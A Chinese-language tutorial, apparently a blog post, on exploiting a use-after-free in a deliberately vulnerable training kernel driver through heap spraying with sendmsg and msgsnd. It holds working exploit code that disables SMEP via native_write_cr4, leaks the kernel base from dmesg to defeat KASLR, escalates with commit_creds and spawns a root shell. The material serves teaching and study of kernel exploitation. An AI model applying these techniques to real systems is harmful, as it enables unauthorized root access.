说明:实验所需的驱动源码、bzImage、cpio文件见我的github进行下载。本教程适合对漏洞提权有一定了解的同学阅读,具体可以看看我先知之前的文章,或者我的简书。
在linux内核下进行堆喷射时,首先需要注意喷射的堆块的大小,因为只有大小相近的堆块才保存在相同的cache中。具体的cache块分布如下图:
本文的漏洞例子中uaf_obj对象的大小是84,实际申请时会分配一个96字节的堆块。本例中我们可以申请96大小的k_object对象,并在堆块上任意布置数据,但这样的话就太简单了点,实际漏洞利用中怎么会这么巧就让你控制堆上的数据呢。所以我们需要找到某些用户可调用的函数,它会在内核空间申请指定大小的chunk(本例中我们希望能分配到96字节的块),并把用户的数据拷贝过去。
static int ___sys_sendmsg(struct socket *sock, struct user_msghdr __user *msg, struct msghdr *msg_sys, unsigned int flags, struct used_address *used_address, unsigned int allowed_msghdr_flags) { struct compat_msghdr __user *msg_compat = (struct compat_msghdr __user *)msg; struct sockaddr_storage address; struct iovec iovstack[UIO_FASTIOV], *iov = iovstack; unsigned char ctl[sizeof(struct cmsghdr) + 20] __aligned(sizeof(__kernel_size_t)); // 创建44字节的栈缓冲区ctl,20是ipv6_pktinfo结构的大小 unsigned char *ctl_buf = ctl; // ctl_buf指向栈缓冲区ctl int ctl_len; ssize_t err; msg_sys->msg_name = &address; if (MSG_CMSG_COMPAT & flags) err = get_compat_msghdr(msg_sys, msg_compat, NULL, &iov); else err = copy_msghdr_from_user(msg_sys, msg, NULL, &iov); // 用户数据拷贝到msg_sys,只拷贝msghdr消息头部 if (err < 0) return err; err = -ENOBUFS; if (msg_sys->msg_controllen > INT_MAX) //如果msg_sys小于INT_MAX,就把ctl_len赋值为用户提供的msg_controllen goto out_freeiov; flags |= (msg_sys->msg_flags & allowed_msghdr_flags); ctl_len = msg_sys->msg_controllen; if ((MSG_CMSG_COMPAT & flags) && ctl_len) { err = cmsghdr_from_user_compat_to_kern(msg_sys, sock->sk, ctl, sizeof(ctl)); if (err) goto out_freeiov; ctl_buf = msg_sys->msg_control; ctl_len = msg_sys->msg_controllen; } else if (ctl_len) { BUILD_BUG_ON(sizeof(struct cmsghdr) != CMSG_ALIGN(sizeof(struct cmsghdr))); if (ctl_len > sizeof(ctl)) { //注意用户数据的size必须大于44字节 ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL);//sock_kmalloc最后会调用kmalloc 分配 ctl_len 大小的堆块 if (ctl_buf == NULL) goto out_freeiov; } err = -EFAULT; /* 注意,msg_sys->msg_control是用户可控的用户缓冲区;ctl_len是用户可控的长度。 用户数据拷贝到ctl_buf内核空间。 */ if (copy_from_user(ctl_buf, (void __user __force *)msg_sys->msg_control, ctl_len)) goto out_freectl; msg_sys->msg_control = ctl_buf; } msg_sys->msg_flags = flags; ...
结论:只要传入size大于44,就能控制kmalloc申请的内核空间的数据。
数据流:
msg
--->msg_sys
--->msg_sys->msg_controllen
--->ctl_len
msg
--->msg_sys->msg_control
--->ctl_buf
利用流程:
//限制: BUFF_SIZE > 44 char buff[BUFF_SIZE]; struct msghdr msg = {0}; struct sockaddr_in addr = {0}; int sockfd = socket(AF_INET, SOCK_DGRAM, 0); addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); addr.sin_family = AF_INET; addr.sin_port = htons(6666); // 布置用户空间buff的内容 msg.msg_control = buff; msg.msg_controllen = BUFF_SIZE; msg.msg_name = (caddr_t)&addr; msg.msg_namelen = sizeof(addr); // 假设此时已经产生释放对象,但指针未清空 for(int i = 0; i < 100000; i++) { sendmsg(sockfd, &msg, 0); } // 触发UAF即可
// /ipc/msg.c SYSCALL_DEFINE4(msgsnd, int, msqid, struct msgbuf __user *, msgp, size_t, msgsz, int, msgflg) { return ksys_msgsnd(msqid, msgp, msgsz, msgflg); } // /ipc/msg.c long ksys_msgsnd(int msqid, struct msgbuf __user *msgp, size_t msgsz, int msgflg) { long mtype; if (get_user(mtype, &msgp->mtype)) return -EFAULT; return do_msgsnd(msqid, mtype, msgp->mtext, msgsz, msgflg); } // /ipc/msg.c static long do_msgsnd(int msqid, long mtype, void __user *mtext, size_t msgsz, int msgflg) { struct msg_queue *msq; struct msg_msg *msg; int err; struct ipc_namespace *ns; DEFINE_WAKE_Q(wake_q); ns = current->nsproxy->ipc_ns; if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0) return -EINVAL; if (mtype < 1) return -EINVAL; msg = load_msg(mtext, msgsz); // 调用load_msg ... // /ipc/msgutil.c struct msg_msg *load_msg(const void __user *src, size_t len) { struct msg_msg *msg; struct msg_msgseg *seg; int err = -EFAULT; size_t alen; msg = alloc_msg(len); // alloc_msg if (msg == NULL) return ERR_PTR(-ENOMEM); alen = min(len, DATALEN_MSG); // DATALEN_MSG if (copy_from_user(msg + 1, src, alen)) // copy1 goto out_err; for (seg = msg->next; seg != NULL; seg = seg->next) { len -= alen; src = (char __user *)src + alen; alen = min(len, DATALEN_SEG); if (copy_from_user(seg + 1, src, alen)) // copy2 goto out_err; } err = security_msg_msg_alloc(msg); if (err) goto out_err; return msg; out_err: free_msg(msg); return ERR_PTR(err); } // /ipc/msgutil.c #define DATALEN_MSG ((size_t)PAGE_SIZE-sizeof(struct msg_msg)) static struct msg_msg *alloc_msg(size_t len) { struct msg_msg *msg; struct msg_msgseg **pseg; size_t alen; alen = min(len, DATALEN_MSG); msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT); // 先分配了一个msg_msg结构大小 ...
msgsnd()
--->ksys_msgsnd()
--->do_msgsnd()
。
do_msgsnd()根据用户传递的buffer和size参数调用load_msg(mtext, msgsz),load_msg()先调用alloc_msg(msgsz)创建一个msg_msg结构体(),然后拷贝用户空间的buffer紧跟msg_msg结构体的后面,相当于给buffer添加了一个头部,因为msg_msg结构体大小等于0x30,因此用户态的buffer大小等于xx-0x30
。
结论:前0x30字节不可控。数据量越大(本文示例是96字节),发生阻塞可能性越大,120次发送足矣。
利用流程:
// 只能控制0x30字节以后的内容 struct { long mtype; char mtext[BUFF_SIZE]; }msg; memset(msg.mtext, 0x42, BUFF_SIZE-1); // 布置用户空间的内容 msg.mtext[BUFF_SIZE] = 0; int msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT); msg.mtype = 1; //必须 > 0 // 假设此时已经产生释放对象,但指针未清空 for(int i = 0; i < 120; i++) msgsnd(msqid, &msg, sizeof(msg.mtext), 0); // 触发UAF即可
我们以漏洞驱动-vuln_driver来进行实践。vuln_driver驱动包含漏洞有任意地址读写、空指针引用、未初始化栈变量、UAF漏洞、缓冲区溢出。本文主要分析UAF漏洞及其利用。
// vuln_driver.c: do_ioctl()驱动号分配函数 static long do_ioctl(struct file *filp, unsigned int cmd, unsigned long args) { int ret; unsigned long *p_arg = (unsigned long *)args; ret = 0; switch(cmd) { case DRIVER_TEST: printk(KERN_WARNING "[x] Talking to device [x]\n"); break; case ALLOC_UAF_OBJ: alloc_uaf_obj(args); break; case USE_UAF_OBJ: use_uaf_obj(); break; case ALLOC_K_OBJ: alloc_k_obj((k_object *) args); break; case FREE_UAF_OBJ: free_uaf_obj(); break; } return ret; }
//uaf对象的结构,包含一个函数指针fn,size=84 typedef struct uaf_obj { char uaf_first_buff[56]; long arg; void (*fn)(long); char uaf_second_buff[12]; }uaf_obj;
//k_object对象用于测试 typedef struct k_object { char kobj_buff[96]; }k_object;
主要代码如下,漏洞就是在释放堆时,未将存放堆地址的全局变量清零。
// 1. uaf_callback() 一个简单的回调函数 uaf_obj *global_uaf_obj = NULL; static void uaf_callback(long num) { printk(KERN_WARNING "[-] Hit callback [-]\n"); } // 2. 分配一个uaf对象,fn指向回调函数uaf_callback,第一个缓冲区uaf_first_buff填充"A"。 global_uaf_obj全局变量指向该对象 static int alloc_uaf_obj(long __user arg) { struct uaf_obj *target; target = kmalloc(sizeof(uaf_obj), GFP_KERNEL); if(!target) { printk(KERN_WARNING "[-] Error no memory [-]\n"); return -ENOMEM; } target->arg = arg; target->fn = uaf_callback; memset(target->uaf_first_buff, 0x41, sizeof(target->uaf_first_buff)); global_uaf_obj = target; printk(KERN_WARNING "[x] Allocated uaf object [x]\n"); return 0; } // 3. 释放uaf对象,但未清空global_uaf_obj指针 static void free_uaf_obj(void) { kfree(global_uaf_obj); //global_uaf_obj = NULL printk(KERN_WARNING "[x] uaf object freed [x]"); } // 4. 使用uaf对象,调用成员fn指向的函数 static void use_uaf_obj(void) { if(global_uaf_obj->fn) { //debug info printk(KERN_WARNING "[x] Calling 0x%p(%lu)[x]\n", global_uaf_obj->fn, global_uaf_obj->arg); global_uaf_obj->fn(global_uaf_obj->arg); } } // 5. 分配k_object对象,并从用户地址user_kobj拷贝数据到分配的地址 static int alloc_k_obj(k_object *user_kobj) { k_object *trash_object = kmalloc(sizeof(k_object), GFP_KERNEL); int ret; if(!trash_object) { printk(KERN_WARNING "[x] Error allocating k_object memory [-]\n"); return -ENOMEM; } ret = copy_from_user(trash_object, user_kobj, sizeof(k_object)); printk(KERN_WARNING "[x] Allocated k_object [x]\n"); return 0; }
思路:如果uaf_obj被释放,但指向它的global_uaf_obj变量未清零,若另一个对象分配到相同的cache,并且能够控制该cache上的内容,我们就能控制fn()调用的函数。
测试:本例中我们可以利用k_object对象来布置堆数据,将uaf_obj对象的fn指针覆盖为0x4242424242424242。
//完整代码见easy_uaf.c void use_after_free_kobj(int fd) { k_object *obj = malloc(sizeof(k_object)); //60 bytes overwrites the last 4 bytes of the address memset(obj->buff, 0x42, 60); ioctl(fd, ALLOC_UAF_OBJ, NULL); ioctl(fd, FREE_UAF_OBJ, NULL); ioctl(fd, ALLOC_K_OBJ, obj); ioctl(fd, USE_UAF_OBJ, NULL); }
报错结果如下:
CR4寄存器的第20位为1,则表示开启了SMEP,若执行到用户指令,就会报错"BUG: unable to handle kernel paging request at 0xxxxxx"
。绕过SMEP的方法见我的笔记https://www.jianshu.com/p/6f1d2f3f5126。不过最简单的方法是通过`native_write_cr4()`函数:
// /arch/x86/include/asm/special_insns.h static inline void native_write_cr4(unsigned long val) { asm volatile("mov %0,%%cr4": : "r" (val), "m" (__force_order)); }
本文用到的vuln_driver简化了利用过程,否则我们还需要控制第1个参数,所以利用目标就是:global_uaf_obj->fn(global_uaf_obj->arg)
---> native_write_cr4(global...->arg)
。 也即执行native_write_cr4(0x407f0)
即可。
sendmsg注意:分配堆块必须大于44。
//用sendmsg构造堆喷,一个通用接口搞定,只需传入待执行的目标地址+参数 void use_after_free_sendmsg(int fd, size_t target, size_t arg) { char buff[BUFF_SIZE]; struct msghdr msg={0}; struct sockaddr_in addr={0}; int sockfd = socket(AF_INET,SOCK_DGRAM,0); // 布置堆喷数据 memset(buff,0x43,sizeof buff); memcpy(buff+56,&arg,sizeof(long)); memcpy(buff+56+(sizeof(long)),&target,sizeof(long)); addr.sin_addr.s_addr=htonl(INADDR_LOOPBACK); addr.sin_family=AF_INET; addr.sin_port=htons(6666); // buff是堆喷射的数据,BUFF_SIZE是最后要调用KMALLOC申请的大小 msg.msg_control=buff; msg.msg_controllen=BUFF_SIZE; msg.msg_name=(caddr_t)&addr; msg.msg_namelen= sizeof(addr); // 构造UAF对象 ioctl(fd,ALLOC_UAF_OBJ,NULL); ioctl(fd,FREE_UAF_OBJ,NULL); //开始堆喷 for (int i=0;i<10000;i++){ sendmsg(sockfd,&msg,0); } //触发 ioctl(fd,USE_UAF_OBJ,NULL); }
//用msgsnd构造堆喷 int use_after_free_msgsnd(int fd, size_t target, size_t arg) { int new_len=BUFF_SIZE-48; struct { size_t mtype; char mtext[new_len]; } msg; //布置堆喷数据,必须减去头部48字节 memset(msg.mtext,0x42,new_len-1); memcpy(msg.mtext+56-48,&arg,sizeof(long)); memcpy(msg.mtext+56-48+(sizeof(long)),&target,sizeof(long)); msg.mtext[new_len]=0; msg.mtype=1; //mtype必须 大于0 // 创建消息队列 int msqid=msgget(IPC_PRIVATE,0644 | IPC_CREAT); // 构造UAF对象 ioctl(fd, ALLOC_UAF_OBJ,NULL); ioctl(fd,FREE_UAF_OBJ,NULL); //开始堆喷 for (int i=0;i<120;i++) msgsnd(msqid,&msg,sizeof(msg.mtext),0); //触发 ioctl(fd,USE_UAF_OBJ,NULL); }
msgsnd注意:msgsnd堆喷必须减去头部长度48,前48字节不可控。
完整代码见test_smep.c
。
注意:暂时先关闭ASLR,单核启动,修改start.sh
脚本即可。
int main() { size_t native_write_cr4_addr=0xffffffff81065a30; size_t fake_cr4=0x407e0; void *addr=mmap((void *)MMAP_ADDR,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_SHARED|MAP_ANON,0,0); void **fn=MMAP_ADDR; // 拷贝stub代码到 MMAP_ADDR memcpy(fn,stub,128); int fd=open(PATH,O_RDWR); //用于标识dmesg中字符串的开始 ioctl(fd,DRIVER_TEST,NULL); /* use_after_free_sendmsg(fd,native_write_cr4_addr,fake_cr4); use_after_free_sendmsg(fd,MMAP_ADDR,0); */ use_after_free_msgsnd(fd,native_write_cr4_addr,fake_cr4); use_after_free_msgsnd(fd,MMAP_ADDR,0); return 0; }
修改cr4之前,执行用户代码会报错:
修改cr4之后,能够执行到用户代码:
注意:start.sh
中开启ASLR。
目标:泄露kernel地址,获取native_write_cr4
、prepare_kernel_cred
、commit_creds
函数地址。
说明:一般都会开启kptr_restrict
保护,不能读取/proc/kallsyms
,但是通常可以dmesg
读取内核打印的信息。
方法:由dmesg可以想到,构造pagefault,利用内核打印信息来泄露kernel地址。
如上图所示,可以利用SyS_ioctl+0x79/0x90
来泄露kernel地址,接下来只需寻找目标函数地址的相对偏移即可。
# [<ffffffff8122bc59>] SyS_ioctl+0x79/0x90 / # cat /proc/kallsyms | grep native_write_cr4 ffffffff81065a30 t native_write_cr4 / # cat /proc/kallsyms | grep prepare_kernel_cred ffffffff810a6ca0 T prepare_kernel_cred / # cat /proc/kallsyms | grep commit_creds ffffffff810a68b0 T commit_creds
SyS_ioctl+0x79
地址,计算kernel_base//让程序只在单核上运行,以免只关闭了1个核的smep,却在另1个核上跑shell void force_single_core() { cpu_set_t mask; CPU_ZERO(&mask); CPU_SET(0,&mask); if (sched_setaffinity(0,sizeof(mask),&mask)) printf("[-----] Error setting affinity to core0, continue anyway, exploit may fault \n"); return; }
// 构造 page_fault 泄露kernel地址。从dmesg读取后写到/tmp/infoleak,再读出来 pid_t pid=fork(); if (pid==0){ do_page_fault(); exit(0); } int status; wait(&status); // 等子进程结束 //sleep(10); printf("[+] Begin to leak address by dmesg![+]\n"); size_t kernel_base = get_info_leak()-sys_ioctl_offset; printf("[+] Kernel base addr : %p [+] \n", kernel_base); native_write_cr4_addr+=kernel_base; prepare_kernel_cred_addr+=kernel_base; commit_creds_addr+=kernel_base;
//关闭smep,并提权 use_after_free_sendmsg(fd,native_write_cr4_addr,fake_cr4); use_after_free_sendmsg(fd,get_root,0); //MMAP_ADDR //use_after_free_msgsnd(fd,native_write_cr4_addr,fake_cr4); //use_after_free_msgsnd(fd,get_root,0); //MMAP_ADDR if (getuid()==0) { printf("[+] Congratulations! You get root shell !!! [+]\n"); system("/bin/sh"); }
原文的exploit有问题,是将get_root()代码用mmap映射到0x100000000000,然后跳转过去执行,但是直接把代码拷贝过去会有地址引用错误。
#执行0x100000000000处的内容时产生pagefault,可能是访问0x1000002ce8fd地址出错 gdb-peda$ x /10i $pc => 0x100000000000: push rbp 0x100000000001: mov rbp,rsp 0x100000000004: push rbx 0x100000000005: sub rsp,0x8 0x100000000009: mov rbx,QWORD PTR [rip+0x2ce8ed] # 0x1000002ce8fd 0x100000000010: mov rax,QWORD PTR [rip+0x2ce8ee] # 0x1000002ce905 0x100000000017: mov edi,0x0 0x10000000001c: call rax 0x10000000001e: mov rdi,rax 0x100000000021: call rbx #报错信息如下: [ 10.421887] BUG: unable to handle kernel paging request at 00001000002ce8fd [ 10.424836] IP: [<0000100000000009>] 0x100000000009
解决:不需要将get_root()
代码拷贝到0x100000000000,直接执行get_root()
即可。
最后成功提权:
exp代码见exp_heap_spray.c
。
https://invictus-security.blog/2017/06/15/linux-kernel-heap-spraying-uaf/
http://edvison.cn/2018/07/25/%E5%A0%86%E5%96%B7%E5%B0%84/